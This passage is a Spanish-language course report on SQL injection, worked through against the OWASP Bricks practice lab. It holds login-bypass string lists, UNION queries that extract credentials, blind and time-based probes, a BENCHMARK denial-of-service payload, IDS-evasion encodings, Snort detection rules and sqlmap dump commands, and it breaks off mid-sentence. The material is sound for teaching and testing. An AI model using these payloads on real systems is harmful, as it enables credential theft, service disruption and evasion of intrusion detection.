Calidad, Seguridad y Auditoría

Informática

Herramientas y Técnicas
de Inyección SQL

David Albela Pérez

Este obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial 3.0 España.
Tabla de Contenidos
1.Introducción.......................................................................................................................................8
2.Que es Inyección SQL.......................................................................................................................8
2.1.Factores de Riesgo.....................................................................................................................8
2.2.Canales de ataque.......................................................................................................................8
2.3.Tipos de Inyección.....................................................................................................................9
3.Entorno de pruebas............................................................................................................................9
3.1.Instalación..................................................................................................................................9
3.2.Contenido de OWASP Bricks..................................................................................................10
4.Inyecciones basadas en errores........................................................................................................11
4.1.Validar inyección SQL.............................................................................................................11
4.2.Obtener el número de columnas de la tabla.............................................................................11
4.3.Añadir consultas......................................................................................................................12
4.4.Obviar las comillas de la consulta original..............................................................................13
4.5.Inyección SQL en formularios de inicio de sesión..................................................................14
5.Recuperación y extracción de información.....................................................................................16
5.1.Parámetros y variables globales del SGBD.............................................................................17
5.2.Funciones y operaciones..........................................................................................................18
5.2.1.Denegación de Servicio....................................................................................................19
5.3.Esquema de la base de datos y extracción de datos.................................................................19
5.3.1.Obtener los nombres de las bases de datos......................................................................20
5.3.2.Obtener el nombre de las tablas de una base de datos.....................................................20
5.3.3.Obtener las columnas de una tabla...................................................................................21
5.3.4.Extracción de los datos de una tabla................................................................................21
6.Inyección SQL Ciega.......................................................................................................................23
6.1.Inyección parcialmente ciega...................................................................................................23
6.1.1.Comprobar si es posible realizar la inyección..................................................................23
6.1.2.Comprobar la versión de MySQL....................................................................................23
6.1.3.Buscar el nombre de la tabla............................................................................................24
6.2.Inyección totalmente ciega......................................................................................................24
6.2.1.Comprobar que es posible realizar la inyección SQL......................................................24
6.2.2.Comprobar versión de MySQL........................................................................................25
6.2.3.Obtener nombres de tablas o columnas............................................................................25
7.Ofuscación de inyecciones SQL......................................................................................................26
7.1.Utilizando los comentarios......................................................................................................26
7.2.Ofuscación con codificación de la URI...................................................................................27
7.3.Trampas o Decoys....................................................................................................................27
7.4.Ofuscación híbrida...................................................................................................................27
7.5.Otros problemas derivados de los IDPS..................................................................................28
8.Herramientas para la automatización de inyección SQL.................................................................28
8.1.SQLMap...................................................................................................................................28
8.1.1.Instalación y ejecución.....................................................................................................28
8.1.2.Fingerprinting con SQLMap............................................................................................29
8.1.3.Recuperación de tablas.....................................................................................................31
8.1.4.Obtener columnas de una tabla........................................................................................31
8.1.5.Extracción de los datos de la tabla users..........................................................................32
8.2.SQLNinja.................................................................................................................................33
8.2.1.Instalación........................................................................................................................33
 8.2.2.Configuración...................................................................................................................34
8.2.3.Ejecución..........................................................................................................................34
8.3.The Mole..................................................................................................................................35
8.3.1.Instalación y ejecución.....................................................................................................35
8.3.2.Extracción de datos..........................................................................................................35
8.4.Otras herramientas...................................................................................................................38
8.4.1.Havij.................................................................................................................................38
8.4.2.Pangolin...........................................................................................................................39
8.5.SQLiFuzzer..............................................................................................................................39
9.Inyección SQL en bases de datos NoSQL.......................................................................................40
9.1.Inyección SQL en MongoDB..................................................................................................41
10.Conclusiones..................................................................................................................................41
11.Referencias....................................................................................................................................41
1. Introducción
En esta memoria se describen los principales tipos de inyección SQL y se realiza un análisis
práctico sobre inyección SQL.
En un primer lugar se abordan los diferentes tipo de inyección clásicos y como es posible
prevenirlos. Se realiza la instalación de una aplicación vulnerable sobre la que se abordan distintas
técnicas de inyección.
En segundo lugar se explican diferentes técnicas de ofuscación de inyección SQL para la
evasión de reglas en IDS/IPS. Además se describen las posibles debilidades en los sistemas de
detección y prevención de ataques.
Finalmente se prueban herramientas de inyección SQL como SQLMap 1, SQLNinja2 o The
Mole3.

2. Que es Inyección SQL

El término de inyección SQL hace referencia a un conjunto de técnicas para la inserción de
consultas SQL no permitidas sobre recursos de un sitio web con contenido en una base de datos con
el objeto de extraer información de la base de datos, realizar un análisis de fingerprinting del
servidor objetivo o denegar el servicio.
La inyección está considerada como el principal tipo de ataque dentro del Top 10 de OWASP4
del 2013.
Entre las técnicas más comunes está el uso de comentarios sobre peticiones Get de HTML
añadiendo nuevas sentencias de consultas SQL. El error típico del lado del programador es no
parametrizar las sentencias de SQL mediante parámetros. Como se verá más adelante, existen otras
técnicas como el uso de concatenación con la cláusula UNION, obviar columnas con NULL,
concatenación o incluso evasión de firma con el uso de comentarios.

2.1. Factores de Riesgo

Una aplicación con posibilidad de realizar inyección SQL tiene el riesgo de ser susceptible a
ataques de todo tipo, desde extracción de datos, acceso administrativo a la aplicación, denegación
de servicio, distribución de payloads5 maliciosos o incluso realizar pivoting para atacar otros puntos
desde el servidor comprometido.

2.2. Canales de ataque

Para realizar los ataques se definen tres canales de ataque:
• Inband: Los datos se extraen usando el mismo canal de la inyección SQL, es decir, se
presentan en la aplicación según se realiza la inyección.

1 SQLMap: http://sqlmap.org
2 SQLNinja: http://sqlninja.sourceforge.net
3 The Mole: http://themole.sourceforge.net
4 Top 10 OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10
5 SQL Injection Payload: http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload
 Ejemplo: cuando se muestran los datos de un producto en la aplicación y la inyección
permite obtener otros resultados. Es el canal más utilizado en estos ataques.
• Out of band: Los datos se recuperan a partir de un canal distinto.
Ejemplo: Un formulario de recuperación de contraseña o usuario que envía un correo
electrónico con los resultados de la consulta SQL.
• Inferencial: No se devuelve ningún resultado de la inyección, pero el atacante es capaz de
reconstruir la información a partir de los resultados obtenidos de la consulta SQL.
Ejemplo: Consultas que no devuelven los datos, pero que es posible recuperar a partir
de los resultados.

2.3. Tipos de Inyección

En tipo de inyección dado en una aplicación define la calidad del ataque y la necesidad de
realizar o no una automatización más sofisticada que la simple ejecución del mismo.
Hay dos tipos de inyección:
• Basadas en errores: Es el ataque más fácil de ejecutar. Se devuelven los datos a través del
mismo canal de ataque.
• Inyecciones ciegas o Blind Injection: Los datos pueden devolverse por un canal out of
band o inferencial. Se pueden distinguir dos tipos.
◦ Parcialmente ciegas: se puede inyectar código SQL pero solo se ven ciertos resultados, y
no los datos.
◦ Totalmente ciegas: se puede inyectar código SQL pero no se observa ninguna alteración.

3. Entorno de pruebas
Para realizar los ejemplos de inyección SQL se realizará la instalación de un entorno de
pruebas con la aplicación web OWASP Bricks6. OWASP Bricks es una aplicación web escrita en
PHP y MySQL orientada a los problemas más comunes en el desarrollo de aplicaciones. Incluye
problemas típicos como SQL Injection que pueden ser probados en un entorno de pruebas para
pentesting con el objetivo de aprendizaje de aspectos a tener en cuenta a la hora de realizar
aplicaciones.
Otras aplicaciones web muy interesantes para pruebas de intrusión se describen en el blog de
Taddong7.

3.1. Instalación
Para la instalación del OWASP Bricks es necesario PHP, MySQL y Apache Web Server. A
continuación se describe la instalación para distribuciones basadas en Debian.
1. Instalación de paquetes
$ sudo apt-get update
$ sudo apt-get install apache2 mysql-server mysql-client php5 php5-mysql

2. Crear base de datos

6 OWASP Bricks: http://sechow.com/bricks/download.html
7 Aplicaciones web para pentesting: http://blog.taddong.com/2011/10/hacking-vulnerable-web-applications.html
 $ mysql -u root -p
mysql> create database bricks;
mysql> grant all ON bricks.* TO user_bricks@localhost IDENTIFIED BY 'bricks';

3. Descargar OWASP Bricks y descomprimir en directorio de apache

$ wget http://sourceforge.net/projects/owaspbricks/files/Tuivai%20-%202.2/OWASP%20Bricks%20-
%20Tuivai.zip/download -O /var/www/owasp_bricks.zip
$ cd /var/www/
$ unzip OWASP%20Bricks%20-%20Tuivai.zip
$ cd bricks

4. Editar la configuración de Bricks

$ vim /var/www/bricks/LocalSettings.php
# Cambiar los siguientes datos
$dbuser = 'bricks_user'; //MySQL database username
$dbpass = 'bricks'; //MySQL database password
$dbname = 'bricks'; //MySQL database name

5. La versión de Bricks utiliza para la conexión la función mysql_connect8, obsoleta a partir de

Php 5.5. Para evitar avisos Deprecated se puede quitar en el fichero php.ini:
$ vim /etc/php5/apache2/php.ini
error_reporting = E_ALL ^ E_DEPRECATED

En el include de Bricks también se puede deshabilitar los reportes de errores:

$ vim bricks/includes/MySQLHandler.php
ini_set('display_errors',1);

6. Instalar la base de datos

Ir al sitio web http://localhost/bricks/config/index.php
Pulsar el enlace Setup/reset database.

Figura 1: Configuración
inicial de Bricks.

En la documentación oficial9 se encuentra disponible la instalación para Windows utilizando

Wamp Server.

3.2. Contenido de OWASP Bricks

La aplicación Bricks se divide en tres secciones diferentes: páginas de inicio de sesión, páginas
de subir ficheros y páginas de contenido.
Para las pruebas se utilizarán las siguientes páginas de contenido y login de Bricks:

8 Mysql_connect de PHP: http://php.net/manual/es/function.mysql-connect.php

9 Instalación OWASP Bricks: http://sechow.com/bricks/docs/installation.html
 • content-1: Parámetro entero por GET sin entrecomillar.
• content-2: Parámetro string por GET entrecomillado.
• login-1: Formulario POST con verificación de usuario y contraseña.
• login-3: Formulario POST con verificación de usuario y contraseña entre paréntesis.

4. Inyecciones basadas en errores

A continuación se detallan una serie de técnicas básicas de inyección basadas en error. Para ello
se utiliza la página de Bricks content-1, la cual obtiene un identificador a través del parámetro de url
id. Para la inyección sobre sentencias con entrecomillado se utiliza la página de content-2.

4.1. Validar inyección SQL

Las forma más sencilla de comprobar que se puede explotar inyección SQL es añadir una
condición a mayores, por ejemplo AND 1=1.
Si el resultado de la página original se sigue mostrar, se comprueba forzando que la condición
sea falsa AND 1=2. Si la petición no da ningún resultado, la condición añadida está funcionando y
el sitio es explotable.
Ejemplos: localhost/bricks/content-1/index.php?id=0 and 1=2

Figura 2: La consulta permite añadir más condiciones

where, con 1=2 se impide la carga de datos de la consulta
original.

4.2. Obtener el número de columnas de la tabla

Para buscar el número de columnas se utiliza la cláusula Order by indicando el número de
columnas hasta que el resultado de la consulta devuelva un error por columna inexistente. Esto
permite realizar nuevas consultas con UNION.
Ejemplos:
• localhost/bricks/content-1/index.php?id=0 order by 8
 Figura 3: Al menos existen 8 columnas en la tabla.

• localhost/bricks/content-1/index.php?id=0 order by 9

Figura 4: No encuentra la columna 9, solo hay 8

columnas en la tabla.

En el ejemplo, la tabla de la página de resultado tiene hasta 8 columnas.

4.3. Añadir consultas

Con la cláusula UNION se pueden añadir más consultas. Para ello solo es necesario que la
segunda consulta tenga el mismo número de columnas que la consulta original. Las columnas
innecesarias se pueden rellenar con NULL, números o caracteres.
Para mostrar el resultado de la segunda consulta basta con hacer falta la condición de la
primera o recurrir a la cláusula LIMIT.
Ejemplos:
• Consulta con números o campos a null:
localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
localhost/bricks/content-1/index.php?id=0 UNION SELECT
null,null,null,null,null,null,null,null
• Como la página muestra solo el primer resultado obtenido, es necesario forzar para que se
muestre el resultado de la segunda consulta. Para ello existen dos métodos:
◦ Forzando a falso la condición de la primera consulta:
▪ Con una condición and false
localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8
▪ Con un identificador inexistente
 localhost/bricks/content-1/index.php?id=9999999999 UNION SELECT 1,2,3,4,5,6,7,8
◦ Usando la cláusula LIMIT. Requiere comentar el final de línea ya que la consulta
original ya incluye esta clausula.
localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT
1,1--

Figura 5: La cláusula LIMIT permite seleccionar que

registros mostrar, obviando la consulta original.

4.4. Obviar las comillas de la consulta original

Los parámetros indicados en la petición HTTP Get suelen añadir a las consultas del código
entre comillas. Pero esto no impide que un sitio web sea explotable. La página de Bricks content-2
busca los datos por nombre de usuario entre comillas simples:
$sql = "SELECT * FROM users WHERE name='$user'";

Figura 6: El valor del atributo name se coloca entre

comillas.
El código es vulnerable a una inyección SQL abriendo y cerrando las comillas.
Ejemplo: localhost/bricks/content-2/index.php?user=harry' and 1='1
 Figura 7: Cerrar la comilla del parámetro name y volver
a cerrar con una nueva condición en la cláusula WHERE.

También es posible cerrar la comilla antes de tiempo y comentar la comilla del código original.
Como es necesario que los comentarios de línea incluyan un espacio a continuación se utiliza el
símbolo + equivalente al espacio en la codificación de url.

Figura 8: Los comentarios de linea permiten obviar el

cierre de comillas del código original.

4.5. Inyección SQL en formularios de inicio de sesión

Si la consulta de comprobación de credenciales de usuario no está convenientemente
parametrizada, la validación de contraseña puede saltarse fácilmente.
La siguiente línea de código pertenece a la página de OWASP Bricks login-1/index.php:
$sql="SELECT * FROM users WHERE name='$username' and password='$pwd'";

Introduciendo en el formulario de login un nombre de usuario, tom, y en el campo de texto

contraseña la cadena ' OR '1'='1 se está forzando a que la consulta sea siempre cierta.
 Figura 9: La página de login acepta comillas, la consulta
de validación no está correctamente parametrizada.

El ejemplo de la página login-3/index.php incluye los valores entre paréntesis.

$sql="SELECT * FROM users WHERE name=('$username') and password=('$pwd') LIMIT 0,1";

Se puede saltar con cadenas de texto que cierren el paréntesis correctamente o terminen con
commentario.
como ') or 1=('1 para la contraseña o ') or 1=(1)-- - en campo de usuario.

Figura 10: La cadena ') or 1=('1')-- - en username fuerza

a que la consulta sea verdadera a pesar de no conocer la
contraseña.

Otras cadenas válidas para un formulario de inicio de sesión vulnerable a inyección SQL pueden ser
las que se citan a continuación:
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
 or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
==
and 1=1--
and 1=1
' or 'one'='one--
' or 'one'='one
' and 'one'='one
' and 'one'='one--
1') and '1'='1--
admin' --
admin' #
admin'/*
or 1=1--
or 1=1#
or 1=1/*
) or '1'='1--
) or ('1'='1--
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'

Otras posibles opciones de ataque en los formularios se pueden encontrar en el blog de Zerofreak10.

5. Recuperación y extracción de información.

Hasta ahora se ha visto que si el código no filtra las consultas convenientemente se pueden añadir
consultas nuevas con la cláusula UNION. Con las segunda consulta se puede obtener información
de la base de datos.
Se puede realizar fingerprinting11 utilizando los parámetros y funciones del gestor de base de datos.

10 Blog Zerofreak: http://zerofreak.blogspot.com.es/2012/01/chapter2-basic-sql-injection-with-login.html

11 OS fingerprinting: http://www.forensicswiki.org/wiki/OS_fingerprinting
5.1. Parámetros y variables globales del SGBD
Los parámetros en un gestor de base de datos pueden ser útiles para obtener información del gestor
de bases de datos e incluso del sistema operativo. MySQL utiliza variables globales para definir
información como estado del registro de logs, ficheros utilizados por el gestor y datos de la versión,
arquitectura y sistema operativo.
Algunos datos interesantes sobre la versión:
• @@version: indica la versión de MySQL.
• @@version_compile_machine: indica la arquitectura.
• @@version_compile_os: provee información de la versión del sistema operativo.
Se puede obtener la lista de variables disponibles en MySQL con la sentencia show para mysql-
client.
mysql> show variables;

Figura 11: La sentencia show muestra la lista de variables globales

de MySQL.

Se puede acceder a los valores de una variable con la sentencia SELECT y usando @@
delante del nombre de la variable.
localhost/bricks/content-1/index.php?id=0 UNION SELECT
@@version,@@version_compile_machine,@@version_compile_os,4,5,6,7,8 LIMIT 1,1--
 Figura 12: Las variables globales y parámetros del SGBD
permiten obtener información relevante.

5.2. Funciones y operaciones

Los gestores de bases de datos suelen incluir funciones y procedimientos almacenados. En la
documentación oficial de MySQL12 está disponible la lista de funciones que devuelven algún tipo
de información, como el nombre de la base de datos o el nombre del usuario de la conexión.
• database()/schema(): nombre del esquema de la base de datos.
• connection_id(): indentificador de la conexión a la base de datos.
• user()/system_user()/session_user(): indican el nombre de usuario de la conexión a la base
de datos.
• localtime(): hora local del sistema.
Ejemplo: localhost/bricks/content-1/index.php?id=0 UNION SELECT
database(),user(),connection_id(),4,5,6,7,8 LIMIT 1,1--

Figura 13: Algunos SGBD tienen funciones que

proporcionan información como el nombre de la base de
datos o el usuario de conexión.

Ahora se tiene disponible el nombre de la base de datos y el usuario que accede a ella.

12 Documentación MySQL sobre funciones: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html

5.2.1. Denegación de Servicio

Algunas funciones del gestor de base de datos permiten realizar operaciones de cálculo. En
MySQL se puede llegar a realizar una denegación del servicio sobrecargando la base de datos con
las siguientes operaciones:
• benchmark(count, expr): Es una función que realiza la expresión expr tantas veces como se
indique en count.
• SHA1(str)/SHA(str): Calcula el hash para el valor dado en str.
Para realizar una consulta varias veces se puede utilizar la consulta SELECT con la función
Benchmark:
mysql> SELECT BENCHMARK(1000000,SHA1(1));

Figura 14: Cálculo de SHA1 en MySQL

repetido varias veces en la misma consulta.

Concatenando la función es posible colgar la base de datos: BENCHMARK(999999,

SHA1(BENCHMARK(999999, SHA1(..., SHA1(SHA1(0x65)))))).
Ejemplo: localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT
benchmark(9999999999999999999999999999, sha1(sha1(0x65))),2,3,4,5,6,7,8

Figura 15: El proceso de mysqld ocupa el 100% del hilo de CPU

asignado.

Aunque se cierre el navegador, la consulta sigue en ejecución en el servidor ralentizando el

funcionamiento de la base de datos.

5.3. Esquema de la base de datos y extracción de datos

Para obtener los datos de la base de datos es necesario conocer el esquema. Los SGBD
normalmente incluyen un catálogo del sistema o diccionario de datos que proporciona acceso a los
metadatos tales como el nombre de la base de datos, tablas, tipo de datos de una columna, o
permisos de acceso.
En MySQL se puede acceder al catálogo del sistema information_schema13.

13 Information Schema: http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

 Figura 16: Tablas del
catálogo
information_schema de
MySQL.

Es posible obtener los nombre de los esquemas de bases de datos. Conociendo el nombre de la
base de datos se puede listar el nombre de las tablas utilizando information_schema, así como el
nombre de las columnas de cada tabla.

5.3.1. Obtener los nombres de las bases de datos

Utilizando la tabla schemata del catálogo information_schema se puede obtener las bases de
datos accesibles por el usuario de la conexión.
Como la página solo muestra un único resultado, se utiliza la cláusula GROUP_CONCAT para
concatenar los resultados en un única tupla y separados por comas.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(schema_name),3,4,5,6,7,8 from information_schema.schemata

Figura 17: El usuario tiene acceso a tres bases de datos.

5.3.2. Obtener el nombre de las tablas de una base de datos

Para obtener el nombre de las tablas de una la base de datos se usa la tabla tables de
information_schemas.
 localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(table_name),3,4,5,6,7,8 from information_schema.tables WHERE
table_schema='bricks'

Figura 18: Tablas de la base de datos bricks.

5.3.3. Obtener las columnas de una tabla

El catálogo information_schema incluye información de las columnas de las tablas en columns.

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(column_name),3,4,5,6,7,8 from information_schema.columns WHERE
table_name='users'

Figura 19: Los nombres de las columnas de la tabla

users.

5.3.4. Extracción de los datos de una tabla

Ya se tiene información del nombre de la base de datos, tabla y columnas. Ahora solo es
necesario obtener las credenciales de usuario.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users
 Figura 20: Extracción de información como nombre, email y
contraseña de los usuarios.

La función GROUP_CONTACT también permite incluir varios atributos y caracteres de

separación. Los caracteres de separación se deben incluir en código ASCII hexademical. 0x3a0a
equivale a los dos puntos y un espacio:
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
GROUP_CONCAT(idusers), GROUP_CONCAT(name,0x3a0a,password),
GROUP_CONCAT(email,0x3a0a,ua,0x3a0a,ref,host,0x3a0a,lang), 4,5,6,7,8 from users

Figura 21: Obtención de todos los datos de la tabla

'users'.

En caso de que la sentencia sql original entrecomille el valor del parámetros, basta con cerrar la
comilla en el valor del parámetro id y terminar la url con el comentario de línea y un espacio (--+).
Ejemplo: localhost/bricks/content-1/index.php?id=1' UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users LIMIT 1,1--+
6. Inyección SQL Ciega
El ataque mediante inyección ciega o blind SQL injection no difiere de las técnicas basadas en
errores. Pero dado que no se pueden obtener los datos directamente es necesario realizar una serie
de técnicas utilizando condicionales.

6.1. Inyección parcialmente ciega

Los datos de la consulta no son devueltos, sin embargo es posible saber si algo ocurre
recibiendo respuestas como por ejemplo un error de sintaxis.
Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la
muestra de datos del usuario:
if ($content = mysql_fetch_array($result)) {
// echo '<br/>User ID: <b>'. $content['idusers'].'</b><br/><br/>';
// echo 'User name: <b>'. $content['name'].'</b><br/><br/>';
// echo 'E-mail: <b>'. $content['email'].'</b><br/><br/>';

6.1.1. Comprobar si es posible realizar la inyección

localhost/bricks/content-1/index.php?id=0 AND 1=2

Figura 22: La condición SQL forzada a no obtener los

datos nos indica que no existe el usuario.

6.1.2. Comprobar la versión de MySQL

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT

IF(SUBSTRING(@@version,1,4)=5.1.,1,0))

Figura 23: Comprobar si la versión de MySQL es la 5.1.

 La sentencia SELECT @@version incluye un condicional para comprobar si la versión de
MySQL comienza por “5.1.”.
En caso de que la condición sea cierta, devuelve 1 y el resultado de la consulta SQL es
verdadera obteniendo el mismo resultado.
Si la condición es falta, la versión de MySQL no es la 5.1, el resultado de la consulta SQL es
falta obteniendo el error de que el usuario no existe.

6.1.3. Buscar el nombre de la tabla

Es posible realizar la búsqueda de tablas por fuerza bruta en la base de datos utilizando la
misma técnica condicional.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE table_name='users')>0,1,0))

Figura 24: Al buscar la tabla users en el esquema de la

BD no se obtiene ningún error.

Al igual que en el caso de versión de MySQL se puede comprobar la existencia de ciertas

tablas o columnas en el esquema de base de datos utilizando la cláusula count y la condición mayor
a 0.

6.2. Inyección totalmente ciega

Cuando no se observa ningún tipo de alteración en la aplicación pero es posible realizar una
inyección SQL.
En este caso se sigue utilizando técnicas sobre las condiciones de la consulta original pero
utilizando funciones de repetición como Benchmark14 para MySQL.
Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la
muestra de datos del usuario y además la línea que indica que no se encontró el usuario en la
consulta original.
// echo 'Error! User does not exists';

6.2.1. Comprobar que es posible realizar la inyección SQL

localhost/bricks/content-1/index.php?id=0 AND 1=BENCHMARK(199990000,SHA(0x61))

14 MySQL Benchmark function: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html

 Figura 25: El tiempo de carga es mayor si la condición se
cumple.

6.2.2. Comprobar versión de MySQL

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT

IF(SUBSTRING(@@version,1,1)=5,BENCHMARK(9999999,SHA(0x61)),0))

Figura 26: El tiempo de carga es mayor si la versión de

MySQL es igual a 5.

Si la página tarda en cargar es se cumple la condición deseada.

6.2.3. Obtener nombres de tablas o columnas

La misma técnica se puede realizar para buscar nombres de tablas o columnas en el esquema de
datos.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE
table_name='users')>0,BENCHMARK(9999999,SHA(0x61)),0))

Figura 27: Verificar que la tabla users existen con la

ejecución de la función benchmark.
7. Ofuscación de inyecciones SQL
Los IDS/IPS son sistemas de detección y prevención de ataques. Snort 15 Suricata16 y es un
sistema de detección de intrusos (IDS) y prevención de intrusos (IPS) open source basados en
firmas o reglas.
Se puede descargar e instalar reglas gratuitas desde el sitio oficial o comprar las más avanzadas.
También permiten personalizar reglas propias. A continuación se muestran reglas sencillas de
detección de inyección SQL para Snort:
• Detectar comillas o comentarios en la url (incluido en hexadecimal):
# Detect ' or -- or in hexadecimal and “#”
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-
application-attack; sid:9099; rev:5;)

• Detectar la cláusula UNION en la url (incluido en hexadecimal):

# Detect Union
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/union/ix"; classtype:Web-application-attack;
sid:9099; rev:5;)

Sin embargo, existen técnicas que podría permitir evadir las reglas del IDS si no son lo
suficientemente robustas. Además, si el IDS/IPS está mal configurado, hay otros métodos para
evadir la detección del ataque.
A continuación se describen varias técnicas para la ofuscación de inyecciones SQL.

7.1. Utilizando los comentarios

Ejemplos:
localhost/bricks/content-1/index.php?
id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/GROUP_CONCAT%28name
%29,2,3,4,5,6,7,8/**/from/**/users

Figura 28: Evasión de firmas de Snort usando

comentarios.

15 IDS Snort: http://www.snort.org

16 Suricada IDS/IPS: http://suricata-ids.org
7.2. Ofuscación con codificación de la URI
Convertir las cadenas de texto a codificación hexadecimal. Existen sitios web 17 donde es posible
realizar la codificación y obtener el código codificado para html.
Ejemplos: localhost/bricks/content-1/index.php?id=%31%20%41%4e%44%20%31%3d
%32%20%55%4e%49%4f%4e%20%53%45%4c
%45%43%54%20%40%40%76%65%72%73%69%6f%6e%2c%32%2c%33%2c%34%2c%35%2c
%36%2c%37%2c%38

Figura 29: Ofuscación de la inyección SQL utilizando

codificación hexadecimal.

7.3. Trampas o Decoys

Los sistemas IDS basados en firmas tiene reglas con patrones de validaciones. Cuando una
regla encuentra un paquete que considera potencialmente peligroso alerta o detiene el tráfico.
Pero con las sentencias que incluyan comentarios como en el ejemplo:
/* <Decoy Keywords> */ SELECT @@version;
El comentario incluye se introduce un código trampa o Decoy, que incluye una cadena
específica para hacer que salte una alerta del IDPS para ese comentario pero que deje pasar el resto
de la consulta.

7.4. Ofuscación híbrida

Mezclar la codificación hexadecimal con el uso de
Ejemplos: localhost/bricks/content-1/index.php?id=1/**/AND%2f%2a%2a%2f1%3d2/**/UNI
%4f%4e SELE%43%54 %40%40version%2c2%2c3%2c4%2c5%2c6%2c7%2c8

17 Text to Hex online converter: http://www.swingnote.com/tools/texttohex.php

 Figura 30: Ofuscación híbrida utilizando comentarios y
codificación hexadecimal.

7.5. Otros problemas derivados de los IDPS

Los sistemas de detección y prevención de intrusos no son inmunes a los puntos débiles, sin
embargo una configuración mal realizada como el uso de conexiones cifradas a través del protocolo
TLS/SSL permiten al atacante evadir las reglas de detección de una inyección fácilmente. Otro
problema en los IDPS es tener habilitado el uso de compresión en las comunicaciones con el
servidor web y no analizar su contenido. Hasta la versión de Snort 2.9.2.018 la opción por defecto de
la directiva inspect_zip era no analizar el contenido comprimido.

8. Herramientas para la automatización de inyección SQL

Hay varias herramientas para realizar auditorías de inyección SQL, muchas de ellas de software
libre e incluidas en las principales distribuciones GNU/Linux para pentesting.
A continuación se realiza un análisis práctico con algunas de estas herramientas en el entorno
de pruebas de Bricks.

8.1. SQLMap
SQLMap es una herramienta open source en línea de comandos que realiza pruebas de
inyección SQL automáticas con características como tracking de la base de datos, fingerprinting y
extracción de datos.
Soporta múltiples sistemas gestores de bases de datos como Oracle, Microsoft SQL Server,
MySQL, PostgreSQL, DB2 o SQLite. Utiliza técnicas clásicas basadas en error o inyección ciega.
Está escrita en Python con lo cual se puede instalar en cualquier sistema operativo con
intérprete de Python. El código fuente se puede obtener de GitHub e incluye un wiki con bastante
documentación19.
Destaca por ser una herramienta muy robusta y fácil de manejar.

8.1.1. Instalación y ejecución

$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

18 Snort with inspect_gzip: http://blog.snort.org/2012/01/snort-2920-javascript-normalization.html

19 SQLMap wiki usage: https://github.com/sqlmapproject/sqlmap/wiki/Usage
 $ cd sqlmap-dev
$ python sqlmap.py -h

Figura 31: Ayuda de sqlmap.py.

8.1.2. Fingerprinting con SQLMap

Para ejecutar SQLMap contra un objetivo se debe indicar la página completa con el recurso
incluido.
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" -f --banner --dbs –
users

Figura 32: Análisis de un sitio web con SQLMap.

En un primer análisis detecta que posiblemente sea una base de datos MySQL y que el
parámetro id puede ser explotable.

Figura 33: Obtención de versión del gestor de BD y de columnas de la tabla.

 SQLMap realiza comprobaciones de las versiones de MySQL e inyecciones de pruebas con la
cláusula UNION y Orber By para obtener el número de columnas de la tabla, encontrando 8
columnas en la consulta.

Figura 34: SQLMap lanza varias inyecciones SQL de prueba.

Se comprueban varias técnicas de inyección para determinar cuales son efectivas.

Figura 35: Fingerprinting y extracción de los esquemas de bases de datos.

En base a las técnicas posibles a realizar, SQLMap realiza fingerprinting para recuperar las
versiones instaladas en el servidor, usuario de acceso a la base de datos y los nombres de las bases
de datos.
 Figura 36: SQLMap recupera las versión de MySQL, usuario y esquemas de base de
datos.

8.1.3. Recuperación de tablas

Una vez que se conocen los nombres de los esquemas de bases de datos se puede extraer la
información de tablas con la opción --tables e indicando el nombre de base de datos con la opción
-D
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --tables -D bricks

Figura 37: Recuperación de tablas en una base de datos.

8.1.4. Obtener columnas de una tabla
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --columns -D bricks -T users
 Figura 38: SQLMap recupera las columas de la tabla users.

8.1.5. Extracción de los datos de la tabla users

$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --dump -D bricks -T users

Figura 39: Obtención de los datos de la tabla users.

SQL recupera y almacena los datos en un fichero csv. Además determina que la columna
